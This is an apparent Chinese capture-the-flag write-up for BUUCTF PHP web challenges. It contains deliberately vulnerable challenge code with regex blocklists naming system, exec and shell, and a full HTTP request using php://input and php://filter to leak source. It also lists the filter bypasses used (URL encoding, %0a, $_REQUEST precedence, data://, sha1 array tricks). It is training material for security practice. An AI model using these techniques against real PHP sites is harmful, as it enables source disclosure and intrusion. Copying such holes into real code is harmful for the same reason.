<?phpinclude'flag.php';$yds="dog";$is="cat";$handsome='yds';foreach($_POSTas$x=>$y){$$x=$y;}foreach($_GETas$x=>$y){$$x=$$y;}foreach($_GETas$x=>$y){if($_GET['flag']===$x&&$x!=='flag'){exit($handsome);}}if(!isset($_GET['flag'])&&!isset($_POST['flag'])){exit($yds);}if($_POST['flag']==='flag'||$_GET['flag']==='flag'){exit($is);}echo"the flag is: ".$flag;
<?phperror_reporting(0);$text=$_GET["text"];$file=$_GET["file"];if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo"<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);//next.php
}else{highlight_file(__FILE__);}?>
如果用php://input协议的话确实是需要bp发包了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php HTTP/1.1
Host: 9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://9e7f59cc-c72f-4520-8e03-fe9eb68fad3e.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
I have a dream
<?phphighlight_file(__FILE__);error_reporting(0);$file="1nD3x.php";$shana=$_GET['shana'];$passwd=$_GET['passwd'];$arg='';$code='';echo"<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER){if(preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i',$_SERVER['QUERY_STRING']))die('You seem to want to do something bad?');}if(!preg_match('/http|https/i',$_GET['file'])){if(preg_match('/^aqua_is_cute$/',$_GET['debu'])&&$_GET['debu']!=='aqua_is_cute'){$file=$_GET["file"];echo"Neeeeee! Good Job!<br>";}}elsedie('fxck you! What do you want to do ?!');if($_REQUEST){foreach($_REQUESTas$value){if(preg_match('/[a-zA-Z]/i',$value))die('fxck you! I hate English!');}}if(file_get_contents($file)!=='debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if(sha1($shana)===sha1($passwd)&&$shana!=$passwd){extract($_GET["flag"]);echo"Very good! you know my password. But what is flag?<br>";}else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");}if(preg_match('/^[a-z0-9]*$/isD',$code)||preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i',$arg)){die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");}else{include"flag.php";$code('',$arg);}?>
还是挺长的
1
2
3
4
5
6
if($_SERVER){if(preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i',$_SERVER['QUERY_STRING']))die('You seem to want to do something bad?');}
if($_SERVER)不对payload进行url编码但是普通的传参会,所以直接编码即可绕过
1
2
3
4
5
6
if(!preg_match('/http|https/i',$_GET['file'])){if(preg_match('/^aqua_is_cute$/',$_GET['debu'])&&$_GET['debu']!=='aqua_is_cute'){$file=$_GET["file"];echo"Neeeeee! Good Job!<br>";}}elsedie('fxck you! What do you want to do ?!');
第二层换行符(%0a)就可以绕过了
1
2
3
4
5
6
if($_REQUEST){foreach($_REQUESTas$value){if(preg_match('/[a-zA-Z]/i',$value))die('fxck you! I hate English!');}}
第三层$_REQUEST特性:变量post值会优先于get,所以post一个数字就绕过了
1
2
if(file_get_contents($file)!=='debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
这个用data协议绕过即可
1
data://text/plain,debu_debu_aqua
1
2
3
4
5
6
if(sha1($shana)===sha1($passwd)&&$shana!=$passwd){extract($_GET["flag"]);echo"Very good! you know my password. But what is flag?<br>";}else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");}
这一层数组绕过就行了,很常见
1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD',$code)||preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i',$arg)){die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");}else{include"flag.php";$code('',$arg);}?>